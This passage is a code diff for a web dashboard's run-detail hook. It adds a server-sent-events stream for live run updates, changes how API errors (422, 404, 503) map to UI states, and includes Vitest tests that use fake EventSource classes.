-    // above (a plain Error -> kind 'failed').
-    supervisor.workflowRun.mockResolvedValue(
-      workflowSnapshot({ metadata: { 'gc.kind': 'workflow' } }),
+  it('surfaces a 422 not_run_view as unsupported, not a generic failure', async () => {
+    // A v1 / wisp run loads server-side but is not a graph.v2 run, so the BFF
+    // returns 422 + reason 'not_run_view'. The hook maps ONLY that case to
+    // {kind:'unsupported'} (list-only message), never the error path.
+    mockLoadDetail.mockRejectedValue(
+      new ApiClientError(422, 'run is not a graph.v2 run', undefined, 'not_run_view'),
     );
 
     const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
@@ -158,17 +152,38 @@ describe('useFormulaRunDetail', () => {
     expect(mockReportClientError).not.toHaveBeenCalled();
   });
 
-  it('surfaces a raw 404 from the workflow endpoint as not_found, not v1-unsupported', async () => {
-    // gascity-dashboard (Major 2): a raw SupervisorApiError 404 (no snapshot at
-    // all) is AMBIGUOUS — a v1/wisp id the workflow endpoint never knew, a
-    // completed run whose snapshot wasn't retained, a pruned/deleted run, or a
-    // stale/wrong derived scope. It must NOT be mislabeled as the definitive v1
-    // 'unsupported' state, and it must NOT collapse into the generic 'failed'
-    // transport state — it gets its own honest 'not_found' state.
-    supervisor.workflowRun.mockRejectedValue(
-      new SupervisorApiError(404, 'workflow gc-p7yf1m not found', undefined),
+  it('surfaces a 422 invalid_snapshot as a generic load failure, not unsupported', async () => {
+    // A malformed graph.v2 snapshot is a genuine load failure: it must propagate
+    // to the generic 'failed' state, distinct from the honest v1 'unsupported'.
+    mockLoadDetail.mockRejectedValue(
+      new ApiClientError(422, 'run snapshot is invalid', undefined, 'invalid_snapshot'),
     );
 
+    const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+
+    await waitFor(() => expect(result.current.kind).toBe('failed'));
+  });
+
+  it('surfaces an exhausted 503 warming budget as a generic failure, never not_found/unsupported', async () => {
+    // The loader retries 503 internally and, once the budget is spent, re-throws
+    // the ApiClientError(503). The hook must route that to the generic 'failed'
+    // state — a 503 is neither an honest list-only run nor a missing one.
+    mockLoadDetail.mockRejectedValue(new ApiClientError(503, 'run view is warming'));
+
+    const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+
+    await waitFor(() => expect(result.current.kind).toBe('failed'));
+    expect(result.current.kind).not.toBe('not_found');
+    expect(result.current.kind).not.toBe('unsupported');
+  });
+
+  it('surfaces a 404 as not_found, not v1-unsupported', async () => {
+    // gascity-dashboard (Major 2): a 404 (no run root in the projection) is
+    // AMBIGUOUS — a v1/wisp id, a completed run whose events rotated out, a
+    // pruned run, or a wrong derived scope. It gets its own honest 'not_found'
+    // state, never mislabeled as the definitive v1 'unsupported'.
+    mockLoadDetail.mockRejectedValue(new ApiClientError(404, 'unknown run'));
+
     const { result } = renderHook(() => useFormulaRunDetail('gc-p7yf1m', 'city', 'test-city'));
 
     await waitFor(() => expect(result.current.kind).toBe('not_found'));
@@ -178,6 +193,153 @@ describe('useFormulaRunDetail', () => {
   });
 });
 
+describe('useFormulaRunDetail SSE stream integration (P4)', () => {
+  const eventSources = streamEventSources;
+
+  beforeEach(() => {
+    eventSources.length = 0;
+    vi.stubGlobal('EventSource', StreamFakeEventSource);
+    mockLoadDetail.mockResolvedValue(runDetail({ title: 'first paint (GET)' }));
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  it('renders a pushed frame with ZERO extra GET after first paint', async () => {
+    const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+
+    // First paint comes from the GET (one call).
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+    if (result.current.kind !== 'ready') throw new Error('did not reach ready');
+    expect(result.current.detail.title).toBe('first paint (GET)');
+    expect(mockLoadDetail).toHaveBeenCalledTimes(1);
+
+    // A pushed frame must update the rendered detail — and must NOT trigger any
+    // additional GET.
+    act(() => eventSources[0]?.open());
+    act(() =>
+      eventSources[0]?.emit('detail', JSON.stringify(runDetail({ title: 'pushed frame' }))),
+    );
+
+    await waitFor(() => {
+      if (result.current.kind !== 'ready') throw new Error('lost ready');
+      expect(result.current.detail.title).toBe('pushed frame');
+    });
+    expect(mockLoadDetail).toHaveBeenCalledTimes(1); // still exactly the first-paint GET
+  });
+
+  it('falls back to the GET-backed value when the stream errors (no frame)', async () => {
+    const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+
+    // Stream errors before delivering any frame: the GET first-paint value stays
+    // rendered (the fallback), never blanked.
+    act(() => eventSources[0]?.fail());
+    if (result.current.kind !== 'ready') throw new Error('fallback lost ready');
+    expect(result.current.detail.title).toBe('first paint (GET)');
+  });
+
+  it('closes the stream on unmount', async () => {
+    const { result, unmount } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+    expect(eventSources[0]?.closed).toBe(false);
+    unmount();
+    expect(eventSources[0]?.closed).toBe(true);
+  });
+
+  it('renders the fresh GET on a manual Refresh even after a stream frame (F3)', async () => {
+    const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+
+    // A stream frame pins the rendered detail.
+    act(() => eventSources[0]?.open());
+    act(() => eventSources[0]?.emit('detail', JSON.stringify(runDetail({ title: 'streamed' }))));
+    await waitFor(() => {
+      if (result.current.kind !== 'ready') throw new Error('lost ready');
+      expect(result.current.detail.title).toBe('streamed');
+    });
+
+    // A manual Refresh returns a NEWER GET result; it must render (the streamed
+    // frame must not permanently shadow the refetch — the Refresh no-op bug).
+    mockLoadDetail.mockResolvedValueOnce(runDetail({ title: 'manual refresh GET' }));
+    if (result.current.kind !== 'ready') throw new Error('lost ready before refresh');
+    await act(async () => {
+      await result.current.refresh();
+    });
+
+    await waitFor(() => {
+      if (result.current.kind !== 'ready') throw new Error('lost ready after refresh');
+      expect(result.current.detail.title).toBe('manual refresh GET');
+    });
+  });
+
+  it('reports streamActive true when EventSource is present', async () => {
+    const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+    expect(result.current.streamActive).toBe(true);
+  });
+
+  it('releases the nudge fallback (streamActive false) when the stream terminally closes', async () => {
+    const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+
+    // A live stream carries detail, so the nudge lane refreshes only the diff.
+    act(() => eventSources[0]?.open());
+    await waitFor(() => expect(result.current.streamActive).toBe(true));
+
+    // A fatal precheck (422/404/503) sets EventSource CLOSED with no reconnect,
+    // so the stream will push no further detail. streamActive MUST flip false so
+    // runDetailNudgeRefresh (tested directly in FormulaRunDetail.test.tsx) resumes
+    // refreshing detail as well as the diff — otherwise detail freezes at the last
+    // frame forever. A terminal close previously stayed "active" and froze detail.
+    act(() => eventSources[0]?.fail());
+    await waitFor(() => expect(result.current.streamActive).toBe(false));
+  });
+
+  it('keeps a ready run streaming but tears the stream down once the run resolves unsupported (F4)', async () => {
+    const { result: readyResult } = renderHook(() =>
+      useFormulaRunDetail('wf-ready', 'city', 'test-city'),
+    );
+    await waitFor(() => expect(readyResult.current.kind).toBe('ready'));
+    expect(eventSources).toHaveLength(1);
+    expect(eventSources[0]?.closed).toBe(false); // ready run → stream stays open
+
+    eventSources.length = 0;
+    mockLoadDetail.mockRejectedValueOnce(
+      new ApiClientError(422, 'run is not a graph.v2 run', undefined, 'not_run_view'),
+    );
+    const { result: unsupportedResult } = renderHook(() =>
+      useFormulaRunDetail('wf-v1', 'city', 'test-city'),
+    );
+    await waitFor(() => expect(unsupportedResult.current.kind).toBe('unsupported'));
+    // The stream may open optimistically during loading, but once the GET
+    // resolves the run as definitively non-streamable (422 not_run_view) it must
+    // be torn down — never left open on a fatal 4xx (F4).
+    await waitFor(() => {
+      expect(eventSources.every((source) => source.closed)).toBe(true);
+    });
+  });
+});
+
+describe('useFormulaRunDetail without EventSource (F2)', () => {
+  beforeEach(() => {
+    // No EventSource stub → the stream is permanently unavailable.
+    vi.stubGlobal('EventSource', undefined);
+    mockLoadDetail.mockResolvedValue(runDetail({ title: 'no-stream GET' }));
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  it('reports streamActive false so the caller keeps detail on the nudge', async () => {
+    const { result } = renderHook(() => useFormulaRunDetail('wf-1', 'city', 'test-city'));
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+    expect(result.current.streamActive).toBe(false);
+  });
+});
+
 describe('formulaRunDetailCacheKey (bvu4)', () => {
   // SCOPE_REF_RE permits ':' in scopeRef (and run ids can carry it), so a bare
   // ':'-join let two distinct (runId, scopeKind, scopeRef) tuples collapse to the
@@ -198,55 +360,52 @@ describe('formulaRunDetailCacheKey (bvu4)', () => {
   });
 });
 
-function workflowSnapshot(
-  overrides: {
-    status?: string;
-    metadata?: Record<string, string>;
-  } = {},
-) {
-  return {
-    workflow_id: 'wf-1',
-    root_bead_id: 'wf-1',
-    root_store_ref: 'city:test-city',
-    resolved_root_store: 'city:test-city',
-    scope_kind: 'city',
-    scope_ref: 'test-city',
-    snapshot_version: 1,
-    snapshot_event_seq: 1,
-    partial: false,
-    stores_scanned: ['city:test-city'],
-    beads: [
-      {
-        id: 'wf-1',
-        title: 'Direct supervisor run',
-        status: overrides.status ?? 'in_progress',
-        kind: 'workflow',
-        metadata: overrides.metadata ?? {
-          'gc.kind': 'workflow',
-          'gc.formula_contract': 'graph.v2',
-          'gc.formula': 'mol-test',
-          'gc.run_target': 'test-city/codex',
-        },
-      },
-    ],
-    deps: [],
-    logical_nodes: [],
-    logical_edges: [],
-    scope_groups: [],
-  };
-}
+const streamEventSources: StreamFakeEventSource[] = [];
 
-function formulaDetail() {
-  return {
-    name: 'mol-test',
-    description: 'formula detail',
-    version: 'v1',
-    preview: {
-      nodes: [{ id: 'wf-1', title: 'Direct supervisor run', kind: 'workflow' }],
-      edges: [],
-    },
-    steps: [],
-    deps: [],
-    var_defs: [],
-  };
+class StreamFakeEventSource {
+  static readonly CONNECTING = 0;
+  static readonly OPEN = 1;
+  static readonly CLOSED = 2;
+
+  onopen: ((event: Event) => void) | null = null;
+  onmessage: ((event: MessageEvent<string>) => void) | null = null;
+  onerror: ((event: Event) => void) | null = null;
+  readyState = StreamFakeEventSource.CONNECTING;
+  closed = false;
+  private readonly listeners = new Map<string, Set<EventListener>>();
+
+  constructor(readonly url: string | URL) {
+    streamEventSources.push(this);
+  }
+
+  addEventListener(type: string, listener: EventListener): void {
+    const listeners = this.listeners.get(type) ?? new Set<EventListener>();
+    listeners.add(listener);
+    this.listeners.set(type, listeners);
+  }
+
+  removeEventListener(type: string, listener: EventListener): void {
+    this.listeners.get(type)?.delete(listener);
+  }
+
+  close(): void {
+    this.readyState = StreamFakeEventSource.CLOSED;
+    this.closed = true;
+  }
+
+  open(): void {
+    this.readyState = StreamFakeEventSource.OPEN;
+    this.onopen?.(new Event('open'));
+  }
+
+  fail(): void {
+    this.readyState = StreamFakeEventSource.CLOSED;
+    this.onerror?.(new Event('error'));
+  }
+
+  emit(type: string, data: string): void {
+    const event = new MessageEvent<string>(type, { data });
+    this.listeners.get(type)?.forEach((listener) => listener(event));
+    if (type === 'message') this.onmessage?.(event);
+  }
 }
diff --git a/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetail.ts b/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetail.ts
index 4e301ff6c9..f36414093e 100644
--- a/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetail.ts
+++ b/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetail.ts
@@ -1,13 +1,25 @@
+import { useCallback, useState } from 'react';
 import type { FormulaRunDetail, RunScopeKind } from 'gas-city-dashboard-shared';
-import { errorMessage, UnsupportedRunError } from 'gas-city-dashboard-shared';
+import { errorMessage } from 'gas-city-dashboard-shared';
 import { reportClientError } from '../lib/clientErrorReporting';
 import { loadSupervisorFormulaRunDetail } from '../supervisor/runDetail';
-import { SupervisorApiError } from '../supervisor/errors';
+import { ApiClientError } from '../api/client';
 import { useCachedData } from './useCachedData';
+import { useFormulaRunDetailStream } from './useFormulaRunDetailStream';
 
 interface FormulaRunDetailState {
   kind: 'idle' | 'loading' | 'ready' | 'failed' | 'unsupported' | 'not_found';
   refresh: () => Promise<void>;
+  /**
+   * Whether the per-run SSE stream can still carry detail updates, so the caller
+   * can leave detail to the stream and nudge only the diff. False when the runtime
+   * has no EventSource (SSR/tests, or a browser without it) OR when the stream has
+   * terminally closed (a fatal precheck: 422/404/503, which EventSource does not
+   * retry) — both mean detail would freeze unless the nudge keeps refreshing it. A
+   * transient reconnect ('connecting') stays true because the browser self-heals
+   * it. See the P4 stream-vs-nudge division in FormulaRunDetail.
+   */
+  streamActive: boolean;
 }
 
 type FormulaRunRefreshState =
@@ -16,19 +28,19 @@ type FormulaRunRefreshState =
   | { kind: 'failed'; error: string };
 
 // gascity-dashboard-9w3k: a v1 / wisp run (not graph.v2) is surfaced in the run
-// list but has no graph.v2 step-detail view. When its snapshot LOADS but isn't a
-// run view, enrichFormulaRun throws UnsupportedRunError('not_run_view') — the
-// RELIABLE v1 signal. We carry that as a DISTINCT 'unsupported' payload (not a
-// thrown error → not the generic failed state) so the page can render an honest
-// "list-only" message instead of the opaque "Formula run unavailable." dead-end.
+// list but has no graph.v2 step-detail view. The BFF detail endpoint rejects it
+// with 422 + reason 'not_run_view' — the RELIABLE v1 signal. We carry that as a
+// DISTINCT 'unsupported' payload (not a thrown error → not the generic failed
+// state) so the page can render an honest "list-only" message instead of the
+// opaque "Formula run unavailable." dead-end.
 //
-// gascity-dashboard (Major 2): a raw SupervisorApiError 404 (no snapshot at all)
-// is AMBIGUOUS — it can be a v1/wisp id the workflow endpoint never knew, a
-// completed run whose snapshot wasn't retained, a pruned/deleted run, or a
-// stale/wrong derived scope. We must NOT assert it is definitively v1. It maps
-// to a distinct 'not_found' payload with honest copy that lists the
-// possibilities, kept separate from both 'unsupported' (which over-claims v1)
-// and the generic transport 'failed' state. No shared wire-shape field is added.
+// gascity-dashboard (Major 2): a 404 (no run root in the projection) is
+// AMBIGUOUS — it can be a v1/wisp id, a completed run whose events rotated out,
+// a pruned/deleted run, or a stale/wrong derived scope. We must NOT assert it is
+// definitively v1. It maps to a distinct 'not_found' payload with honest copy
+// that lists the possibilities, kept separate from both 'unsupported' (which
+// over-claims v1) and the generic transport 'failed' state. A malformed graph.v2
+// snapshot (422 + 'invalid_snapshot') stays in that generic 'failed' state.
 type FormulaRunDetailPayload =
   | { kind: 'unrequested' }
   | { kind: 'unsupported' }
@@ -56,59 +68,113 @@ export function useFormulaRunDetail(
   scopeRef?: string,
 ): FormulaRunDetailLoadState {
   const key = formulaRunDetailCacheKey(runId, scopeKind, scopeRef);
-  const { data, loading, error, refresh } = useCachedData(
-    key,
-    () => loadFormulaRunDetail(runId, scopeKind, scopeRef),
-    {
-      onError: (err) => {
-        if (runId !== undefined) reportRunDetailError('load detail', runId, err);
-      },
+  const {
+    data,
+    loading,
+    error,
+    refresh: cachedRefresh,
+  } = useCachedData(key, () => loadFormulaRunDetail(runId), {
+    onError: (err) => {
+      if (runId !== undefined) reportRunDetailError('load detail', runId, err);
     },
+  });
+
+  // P4: the per-run SSE stream pushes the whole DTO, so a pushed frame becomes
+  // the rendered detail with ZERO refetch. The stream hook warms the SWR cache
+  // on every frame; we mirror the freshest frame into local state so the render
+  // updates immediately without waiting for a cache re-read. The initial GET
+  // (useCachedData) is still first paint and the fallback when the stream is
+  // unavailable or errors. The frame is tagged with the cache key the STREAM was
+  // opened for (passed in by the stream hook), not this render's key, so a frame
+  // that arrives mid-navigation A→B — while the callback ref already points here
+  // but A's EventSource has not yet been closed — is stored under A's key and
+  // dropped by the `streamed.key === key` guard below rather than flashing A's
+  // detail under run B.
+  const [streamed, setStreamed] = useState<{ key: string; detail: FormulaRunDetail } | null>(null);
+  const onStreamDetail = useCallback(
+    (detail: FormulaRunDetail, frameKey: string) => setStreamed({ key: frameKey, detail }),
+    [],
   );
+  // F4: don't open the stream for a run the GET has definitively resolved as
+  // non-streamable — an unsupported (v1/wisp, 422) or not_found (404) run has no
+  // graph.v2 detail to push, and connecting would just spend one wasted
+  // EventSource that the browser reaps on the fatal 4xx precheck. Any other state
+  // (loading, ready, transient failed) keeps the stream enabled.
+  const streamEnabled =
+    runId !== undefined && data?.kind !== 'unsupported' && data?.kind !== 'not_found';
+  const streamState = useFormulaRunDetailStream(
+    runId,
+    streamEnabled,
+    onStreamDetail,
+    scopeKind,
+    scopeRef,
+  );
+  const streamedDetail = streamed?.key === key ? streamed.detail : null;
+
+  // A live stream carries detail, so the nudge lane refreshes only the diff. Only
+  // 'open' and 'connecting' count as active: 'connecting' is a transient reconnect
+  // the browser self-heals (readyState CONNECTING), so it briefly keeps the nudge
+  // on diff-only, which is fine. 'closed' is TERMINAL — EventSource sets it after a
+  // non-200/wrong-content-type precheck (422/404/503) and never reconnects, so the
+  // stream will push no further detail; it must release the nudge back to detail,
+  // exactly like 'unavailable' (no EventSource), or the view freezes at the last
+  // GET/frame. See the P4 stream-vs-nudge division in FormulaRunDetail.
+  const streamActive = streamState === 'open' || streamState === 'connecting';
 
-  if (runId === undefined) return { kind: 'idle', refresh: noopRefresh };
-  if (data?.kind === 'loaded') {
+  // A manual refresh must clear the pinned streamed frame so the fresh GET
+  // renders (otherwise streamedDetail permanently shadows the refetch — the
+  // Refresh button would appear to no-op for the detail). The next stream frame
+  // re-populates it. Streaming keeps the render live between refreshes.
+  const refresh = useCallback(async () => {
+    setStreamed(null);
+    await cachedRefresh();
+  }, [cachedRefresh]);
+
+  if (runId === undefined) return { kind: 'idle', refresh: noopRefresh, streamActive };
+  // A pushed frame wins over the GET-backed cache value: it is the freshest
+  // snapshot of this run's detail. It stays subordinate to a definitive
+  // unsupported/not_found answer below (those come only from the GET precheck;
+  // the stream never delivers a frame for them).
+  const detail = streamedDetail ?? (data?.kind === 'loaded' ? data.detail : null);
+  if (detail !== null) {
     return {
       kind: 'ready',
-      detail: data.detail,
+      detail,
       refresh,
       refreshState: refreshState(loading, error),
+      streamActive,
     };
   }
-  if (data?.kind === 'unsupported') return { kind: 'unsupported', refresh };
-  if (data?.kind === 'not_found') return { kind: 'not_found', refresh };
-  if (error !== null) return { kind: 'failed', error, refresh };
-  return { kind: 'loading', refresh };
+  if (data?.kind === 'unsupported') return { kind: 'unsupported', refresh, streamActive };
+  if (data?.kind === 'not_found') return { kind: 'not_found', refresh, streamActive };
+  if (error !== null) return { kind: 'failed', error, refresh, streamActive };
+  return { kind: 'loading', refresh, streamActive };
 }
 
-async function loadFormulaRunDetail(
-  runId: string | undefined,
-  scopeKind?: RunScopeKind,
-  scopeRef?: string,
-): Promise<FormulaRunDetailPayload> {
+async function loadFormulaRunDetail(runId: string | undefined): Promise<FormulaRunDetailPayload> {
   if (!runId) return { kind: 'unrequested' };
-  const params: { scopeKind?: RunScopeKind; scopeRef?: string } = {};
-  if (scopeKind !== undefined) params.scopeKind = scopeKind;
-  if (scopeRef !== undefined) params.scopeRef = scopeRef;
   try {
-    const detail = await loadSupervisorFormulaRunDetail(runId, params.scopeKind, params.scopeRef);
+    const detail = await loadSupervisorFormulaRunDetail(runId);
     return { kind: 'loaded', detail };
   } catch (err) {
-    // gascity-dashboard-9w3k: a snapshot that LOADS but isn't a graph.v2 run
-    // view throws UnsupportedRunError('not_run_view'). That is the RELIABLE v1 /
-    // wisp signal, so it maps to the 'unsupported' payload and the page renders
-    // the honest list-only message instead of a raw error.
-    if (err instanceof UnsupportedRunError && err.reason === 'not_run_view') {
+    // gascity-dashboard-9w3k: a v1 / wisp run (not graph.v2) loads but has no
+    // graph.v2 step-detail view. The BFF rejects it with 422 + reason
+    // 'not_run_view' — the RELIABLE list-only signal — which maps to the
+    // distinct 'unsupported' payload so the page renders an honest list-only
+    // message instead of a raw error. A malformed graph.v2 snapshot
+    // (422 + 'invalid_snapshot') and any other failure propagate as a generic
+    // load error.
+    if (err instanceof ApiClientError && err.status === 422 && err.reason === 'not_run_view') {
       return { kind: 'unsupported' };
     }
-    // gascity-dashboard (Major 2): a raw SupervisorApiError 404 (no snapshot at
-    // all) is AMBIGUOUS — v1/wisp id the workflow endpoint never knew, a
-    // completed run whose snapshot wasn't retained, a pruned/deleted run, or a
-    // stale/wrong derived scope. We do NOT claim it is definitively v1; it maps
-    // to the distinct 'not_found' payload whose copy lists the possibilities
-    // without over-claiming. A malformed graph.v2 snapshot ('invalid_snapshot')
-    // and any other transport failure still propagate as a generic load error.
-    if (err instanceof SupervisorApiError && err.status === 404) {
+    // gascity-dashboard (Major 2): a 404 (no run root in the projection) is
+    // AMBIGUOUS — a v1/wisp id the projection never saw, a completed run whose
+    // events rotated out, a pruned/deleted run, or a stale/wrong derived scope.
+    // We do NOT claim it is definitively v1; it maps to the distinct 'not_found'
+    // payload whose copy lists the possibilities without over-claiming, kept
+    // separate from 'unsupported' (which over-claims v1) and the generic
+    // transport 'failed' state.
+    if (err instanceof ApiClientError && err.status === 404) {
       return { kind: 'not_found' };
     }
     throw err;
diff --git a/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetailStream.test.tsx b/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetailStream.test.tsx
new file mode 100644
index 0000000000..8d3eda86de
--- /dev/null
+++ b/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetailStream.test.tsx
@@ -0,0 +1,192 @@
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import type { FormulaRunDetail } from 'gas-city-dashboard-shared';
+import { getCached, invalidate } from '../api/cache';
+import { formulaRunDetailCacheKey } from './useFormulaRunDetail';
+import { useFormulaRunDetailStream } from './useFormulaRunDetailStream';
+
+vi.mock('../api/cityBase', () => ({
+  getActiveCity: () => 'test-city',
+  cityPath: (suffix: string) => `/api/city/test-city${suffix}`,
+}));
+
+vi.mock('../lib/clientErrorReporting', () => ({
+  reportClientError: vi.fn(() => Promise.resolve({ status: 'reported' })),
+}));
+
+const eventSources: FakeEventSource[] = [];
+
+function runDetail(overrides: Partial<FormulaRunDetail> = {}): FormulaRunDetail {
+  return {
+    runId: 'wf-1',
+    rootBeadId: 'wf-1',
+    rootStoreRef: 'city:test-city',
+    resolvedRootStore: 'city:test-city',
+    scopeKind: 'city',
+    scopeRef: 'test-city',
+    title: 'Streamed run',
+    formula: { kind: 'known', name: 'mol-test', source: 'metadata' },
+    formulaDetail: { kind: 'available', name: 'mol-test', target: 'test-city/codex' },
+    executionPath: { kind: 'unavailable', reason: 'missing_cwd_and_rig_root' },
+    snapshotVersion: 1,
+    snapshotEventSeq: { kind: 'known', seq: 5 },
+    completeness: { kind: 'complete' },
+    progress: {
+      snapshotVersion: 1,
+      snapshotEventSeq: { kind: 'known', seq: 5 },
+      snapshotPartial: false,
+      totalNodeCount: 0,
+      visibleNodeCount: 0,
+      edgeCount: 0,
+      executionInstanceCount: 0,
+      sessionLinkCount: 0,
+      streamableSessionCount: 0,
+      streamableSessionIds: [],
+      statusCounts: {},
+      allStatusCounts: {},
+      terminal: false,
+    },
+    phase: 'intake',
+    stages: [],
+    nodes: [],
+    edges: [],
+    lanes: [],
+    ...overrides,
+  };
+}
+
+describe('useFormulaRunDetailStream', () => {
+  beforeEach(() => {
+    eventSources.length = 0;
+    vi.stubGlobal('EventSource', FakeEventSource);
+  });
+
+  afterEach(() => {
+    cleanup();
+    invalidate('');
+    vi.unstubAllGlobals();
+    vi.clearAllMocks();
+  });
+
+  it('opens the stream at the BFF detail-stream url when enabled', () => {
+    renderHook(() => useFormulaRunDetailStream('wf-1', true, undefined));
+    expect(eventSources).toHaveLength(1);
+    expect(eventSources[0]?.url).toBe('/api/city/test-city/runs/wf-1/detail/stream');
+  });
+
+  it('does not open a stream when disabled or when no run id is present', () => {
+    const { rerender } = renderHook(
+      ({ id, enabled }: { id: string | undefined; enabled: boolean }) =>
+        useFormulaRunDetailStream(id, enabled, undefined),
+      { initialProps: { id: 'wf-1' as string | undefined, enabled: false } },
+    );
+    expect(eventSources).toHaveLength(0);
+    rerender({ id: undefined, enabled: true });
+    expect(eventSources).toHaveLength(0);
+  });
+
+  it('adopts a pushed detail frame and warms the cache with zero refetch', async () => {
+    const onDetail = vi.fn();
+    renderHook(() => useFormulaRunDetailStream('wf-1', true, onDetail));
+
+    const detail = runDetail({ title: 'Pushed title' });
+    act(() => eventSources[0]?.open());
+    act(() => eventSources[0]?.emit('detail', JSON.stringify(detail)));
+
+    await waitFor(() => expect(onDetail).toHaveBeenCalledTimes(1));
+    expect(onDetail).toHaveBeenCalledWith(
+      expect.objectContaining({ title: 'Pushed title', runId: 'wf-1' }),
+      expect.any(String),
+    );
+    // The cache is warmed so a remount paints instantly from the pushed frame.
+    const cached = getCached(formulaRunDetailCacheKey('wf-1'));
+    expect(cached).toMatchObject({ kind: 'loaded', detail: { title: 'Pushed title' } });
+  });
+
+  it('tags each pushed frame with the effect-scoped cache key the stream was opened for', async () => {
+    // The frame must carry the (runId, scope) key the STREAM was opened for, not
+    // the caller's render-time key. During an A→B navigation the callback ref
+    // already points at run B while run A's EventSource is still open; without
+    // this tag, a late frame from A would be stored under B's key and flash A's
+    // detail as B's. Storing the frame under A's key lets the consumer drop it.
+    const onDetail = vi.fn();
+    renderHook(() => useFormulaRunDetailStream('wf-1', true, onDetail, 'rig', 'app'));
+
+    act(() => eventSources[0]?.open());
+    act(() => eventSources[0]?.emit('detail', JSON.stringify(runDetail({ title: 'A' }))));
+
+    await waitFor(() => expect(onDetail).toHaveBeenCalledTimes(1));
+    expect(onDetail.mock.calls[0]?.[1]).toBe(formulaRunDetailCacheKey('wf-1', 'rig', 'app'));
+  });
+
+  it('reports a stream error via connection state so the caller can fall back', async () => {
+    const { result } = renderHook(() => useFormulaRunDetailStream('wf-1', true, undefined));
+    expect(result.current).toBe('connecting');
+    act(() => eventSources[0]?.open());
+    await waitFor(() => expect(result.current).toBe('open'));
+    act(() => eventSources[0]?.fail());
+    await waitFor(() => expect(result.current).toBe('closed'));
+  });
+
+  it('closes the stream on unmount and on run-id change', () => {
+    const { rerender, unmount } = renderHook(
+      ({ id }: { id: string }) => useFormulaRunDetailStream(id, true, undefined),
+      { initialProps: { id: 'wf-1' } },
+    );
+    const first = eventSources[0];
+    expect(first?.closed).toBe(false);
+    rerender({ id: 'wf-2' });
+    expect(first?.closed).toBe(true);
+    expect(eventSources).toHaveLength(2);
+    unmount();
+    expect(eventSources[1]?.closed).toBe(true);
+  });
+});
+
+class FakeEventSource {
+  static readonly CONNECTING = 0;
+  static readonly OPEN = 1;
+  static readonly CLOSED = 2;
+
+  onopen: ((event: Event) => void) | null = null;
+  onmessage: ((event: MessageEvent<string>) => void) | null = null;
+  onerror: ((event: Event) => void) | null = null;
+  readyState = FakeEventSource.CONNECTING;
+  closed = false;
+  private readonly listeners = new Map<string, Set<EventListener>>();
+
+  constructor(readonly url: string | URL) {
+    eventSources.push(this);
+  }
+
+  addEventListener(type: string, listener: EventListener): void {
+    const listeners = this.listeners.get(type) ?? new Set<EventListener>();
+    listeners.add(listener);
+    this.listeners.set(type, listeners);
+  }
+
+  removeEventListener(type: string, listener: EventListener): void {
+    this.listeners.get(type)?.delete(listener);
+  }
+
+  close(): void {
+    this.readyState = FakeEventSource.CLOSED;
+    this.closed = true;
+  }
+
+  open(): void {
+    this.readyState = FakeEventSource.OPEN;
+    this.onopen?.(new Event('open'));
+  }
+
+  fail(): void {
+    this.readyState = FakeEventSource.CLOSED;
+    this.onerror?.(new Event('error'));
+  }
+
+  emit(type: string, data: string): void {
+    const event = new MessageEvent<string>(type, { data });
+    this.listeners.get(type)?.forEach((listener) => listener(event));
+    if (type === 'message') this.onmessage?.(event);
+  }
+}
diff --git a/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetailStream.ts b/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetailStream.ts
new file mode 100644
index 0000000000..912e8d78c6
--- /dev/null
+++ b/internal/api/dashboardspa/web/frontend/src/hooks/useFormulaRunDetailStream.ts
@@ -0,0 +1,124 @@
+import { useEffect, useRef, useState } from 'react';
+import type { FormulaRunDetail, RunScopeKind } from 'gas-city-dashboard-shared';
+import { errorMessage } from 'gas-city-dashboard-shared';
+import { api, decodeFormulaRunDetail } from '../api/client';
+import { setCached } from '../api/cache';
+import { reportClientError } from '../lib/clientErrorReporting';
+import { formulaRunDetailCacheKey } from './useFormulaRunDetail';
+
+// Connection state of the per-run SSE detail stream. 'unavailable' means the
+// runtime has no EventSource (SSR/tests without the global, or the stream was
+// disabled), so the caller keeps the GET + nudge fallback. 'closed' is reported
+// on a stream error so the caller can likewise fall back while the browser
+// retries the connection underneath.
+export type RunDetailStreamState = 'unavailable' | 'connecting' | 'open' | 'closed';
+
+/**
+ * Open the per-run detail SSE stream and push each whole-DTO frame to `onDetail`
+ * (a pure renderer of pushed snapshots — no refetch). `onDetail` receives the
+ * frame together with the effect-scoped {@link formulaRunDetailCacheKey} the
+ * stream was opened for, so the consumer can tag the frame by the run it belongs
+ * to rather than by its render-time key — a navigation to a different run can
+ * never store this run's frame under the new run's key. Every adopted frame also
+ * warms the SWR cache under that same key so a remount paints instantly from the
+ * last pushed frame. The stream is the DETAIL refresh channel that replaces the
+ * old bead/session nudge re-GET; the initial GET stays as first paint and as the
+ * fallback when the stream is unavailable or errors.
+ *
